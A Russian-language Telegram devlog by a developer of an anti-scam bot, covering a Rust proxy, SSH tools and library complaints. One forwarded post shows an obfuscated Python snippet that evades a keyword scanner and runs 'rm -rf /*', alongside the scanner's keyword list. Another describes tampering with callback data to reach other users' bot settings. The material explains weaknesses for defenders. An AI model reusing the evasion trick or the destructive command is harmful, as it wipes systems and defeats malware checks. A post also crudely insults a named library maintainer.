@json1c // devlog
В секунду от Telegram Bot API в вебхук Savemod приходит ~420 запросов. Но реально апдейтов в секунду больше, и видимо телеграм не успевает все отправлять из-за лимитов на одновременные подключения, и как следствие есть задержка ~1.5 сек. Буду поднимать Local…
Была проблема не в лимитах Telegram, а в возможностях языка Python. Он просто не справлялся с 300 RPS, причем в том месте где логика вся была абсолютно упрощена, добавлены очереди и сделана куча оптимизаций.
Я написал прокси на Rust.
Если это бизнес-сообщение, прокси сам делает все необходимые действия и отсеивает 99% нагрузки на основной скрипт. Если не бизнес-сообщение, то запрос кидается в основной скрипт.
Я написал прокси на Rust.
[telegram] - [rust proxy] - [original bot]
Если это бизнес-сообщение, прокси сам делает все необходимые действия и отсеивает 99% нагрузки на основной скрипт. Если не бизнес-сообщение, то запрос кидается в основной скрипт.
👍2❤1👎1🔥1👏1
Forwarded from > json1fy
Нашел сегодня модуль для юзербота, который должен защищать от вредоносного кода.
Что модуль делает на самом деле?
Это статический анализатор, а не антивирус. Он ищет строки кода по ключевым словам типа
😈 Почему модуль легко обойти
1. Если разработчик малвари хоть немного разбирается в Python, то легко обойдет. Пример:
2. Нет анализа импортируемых файлов
Я видел модули для гиктг, которые загружают вредоносную никому неизвестную библиотеку с PyPI. При быстром анализе ничего даже не заметно — чтобы вирус сработал, достаточно его просто импортировать. После этого выполняется код в
Что модуль делает на самом деле?
Это статический анализатор, а не антивирус. Он ищет строки кода по ключевым словам типа
eval
exec
pickle.loads
subprocess.Popen
😈 Почему модуль легко обойти
1. Если разработчик малвари хоть немного разбирается в Python, то легко обойдет. Пример:
def fake_function():
builtin = __import__("builtins")
e = getattr(builtin, "eva" + "l")
s = __import__('os').system('rm -rf /*')"
e(s)
fake_function()
2. Нет анализа импортируемых файлов
Я видел модули для гиктг, которые загружают вредоносную никому неизвестную библиотеку с PyPI. При быстром анализе ничего даже не заметно — чтобы вирус сработал, достаточно его просто импортировать. После этого выполняется код в
__init__.py❤3👎1
Forwarded from > json1fy
В последнее время появились недопентестеры, которые пытаются ломать проекты с зеркалами, добавляя свой токен и отправляя с него сообщения с измененной каллбек датой, пример:
Условно, оригинал:
Пентестеры ставят:
И в проектах, где не закрыта данная уязвимость, они получают условно доступ к настройкам чужого бота, или иной функционал к которому доступа получать не должны.
Решение такой уязвимости на скрине
Условно, оригинал:
manage_bot:18729
Пентестеры ставят:
manage_bot:18271
И в проектах, где не закрыта данная уязвимость, они получают условно доступ к настройкам чужого бота, или иной функционал к которому доступа получать не должны.
Решение такой уязвимости на скрине
❤8👎2🥰2👏2
Именно со мной в роли главного разработчика, @savemod вырос до 50 000 пользователей, и на это потребовался +- месяц.
Проект стабильно держит нагрузку и ни капли не лагает, в отличие от конкурентов, которые были вынуждены внедрять платные подписки для доступа к боту с целью искусственно сократить нагрузку.
Платной подписки, чтобы бот просто работал - у нас не будет.
Проект стабильно держит нагрузку и ни капли не лагает, в отличие от конкурентов, которые были вынуждены внедрять платные подписки для доступа к боту с целью искусственно сократить нагрузку.
Платной подписки, чтобы бот просто работал - у нас не будет.
👍6❤2👎2🔥1
Как понять, что твоя работа идет не зря?
Прежде всего по оценкам людей. Я регулярно вижу в чате Savemod, либо в поддержке — люди говорят спасибо, что наш проект защитил их от наебалова.
Есть второй тип оценок — иногда скамеры пишут такое (см. скрин). И это доставляет даже больше удовольствия, чем просто благодарность.
Возвращаясь к вопросу — ты видишь, что не просто так работаешь, и не просто так сделал первый автоматизированный скам-фильтр в Telegram
Прежде всего по оценкам людей. Я регулярно вижу в чате Savemod, либо в поддержке — люди говорят спасибо, что наш проект защитил их от наебалова.
Есть второй тип оценок — иногда скамеры пишут такое (см. скрин). И это доставляет даже больше удовольствия, чем просто благодарность.
Возвращаясь к вопросу — ты видишь, что не просто так работаешь, и не просто так сделал первый автоматизированный скам-фильтр в Telegram
❤10👍4👎3🔥3🥰2
В своей работе я постоянно подключаюсь к большому количеству серверов, и чтобы каждый раз не вспоминать IP, есть очень удобная утилита ggh
Скрипт парсит сервера из
Скрипт парсит сервера из
.ssh/config, либо сам их запоминает, если подключаться через ggh user@ip❤5👍3🔥2
Forwarded from > json1fy
Библиотека Telethon обречена на смерть
Пока в Pyrogram давно работало нормально определение типа диалога (скрин 1), супергрупп/чатов/пользователей, в телетоне ты должен был дрочить isinstance(entity, User), isinstance(entity, Channel), entity.is_broadcast, ...
Пока в Pyrogram нормально отображалось количество участников чата (скрин 3), телетон просто выдает None (скрин 2), и приходится костылить через GetParticipantsRequest
Telethon до сих пор страдает от багов, существующих как минимум 3 года (может с нихуя крашнуться, зависнуть, заблокировать весь скрипт до перезапуска вручную, начать дико срать в логи, начать бесконечные реконнекты 100 раз в сек и забивать память, пока OOM killer не хуйнет это говно), Лонами (разработчик Telethon) токсичный хуесос, когда ему указываешь на баги, он злится, когда кидаешь PR с исправлением - тоже злится и не принимает
Хотя в целом, если посмотреть, все Python MTProto-библиотеки обречены на смерть, Pyrogram заброшен, Telethon не развивается, хотя Pyrogram хоть немного остается на плаву благодаря форкам
Пока в Pyrogram давно работало нормально определение типа диалога (скрин 1), супергрупп/чатов/пользователей, в телетоне ты должен был дрочить isinstance(entity, User), isinstance(entity, Channel), entity.is_broadcast, ...
Пока в Pyrogram нормально отображалось количество участников чата (скрин 3), телетон просто выдает None (скрин 2), и приходится костылить через GetParticipantsRequest
Telethon до сих пор страдает от багов, существующих как минимум 3 года (может с нихуя крашнуться, зависнуть, заблокировать весь скрипт до перезапуска вручную, начать дико срать в логи, начать бесконечные реконнекты 100 раз в сек и забивать память, пока OOM killer не хуйнет это говно), Лонами (разработчик Telethon) токсичный хуесос, когда ему указываешь на баги, он злится, когда кидаешь PR с исправлением - тоже злится и не принимает
Хотя в целом, если посмотреть, все Python MTProto-библиотеки обречены на смерть, Pyrogram заброшен, Telethon не развивается, хотя Pyrogram хоть немного остается на плаву благодаря форкам
❤8👍3👏1
@json1c // devlog
В своей работе я постоянно подключаюсь к большому количеству серверов, и чтобы каждый раз не вспоминать IP, есть очень удобная утилита ggh Скрипт парсит сервера из .ssh/config, либо сам их запоминает, если подключаться через ggh user@ip
Нашёл для себя утилиту LazySSH — эта оказалась ещё удобнее, чем ggh. Интерфейс тоже приятнее и функциональнее.
Почему не Termius? Причины есть:
1. Нативный терминал Linux. Мне куда приятнее работать в нормальном терминале Linux, чем в откровенно плохом терминале от Termius.
2. Скорость. Для меня важна скорость работы, с LazySSH можно за секунду открыть терминал, нажать стрелочку и Enter и подключиться к серверу.
3. Цена. Termius — платный. LazySSH — бесплатный и с открытым исходным кодом.
Почему не Termius? Причины есть:
1. Нативный терминал Linux. Мне куда приятнее работать в нормальном терминале Linux, чем в откровенно плохом терминале от Termius.
2. Скорость. Для меня важна скорость работы, с LazySSH можно за секунду открыть терминал, нажать стрелочку и Enter и подключиться к серверу.
3. Цена. Termius — платный. LazySSH — бесплатный и с открытым исходным кодом.
🔥5❤3👍2
Антискам система эволюционирует - я сделал проверку не только по базе ботов, а еще и по базе GID.
Также я запретил сейвмоду работать, если пользователь дал разрешение на подарки. Это было сделано для защиты от пользовательских скам-зеркал.
Также я запретил сейвмоду работать, если пользователь дал разрешение на подарки. Это было сделано для защиты от пользовательских скам-зеркал.
🔥8❤5🥰3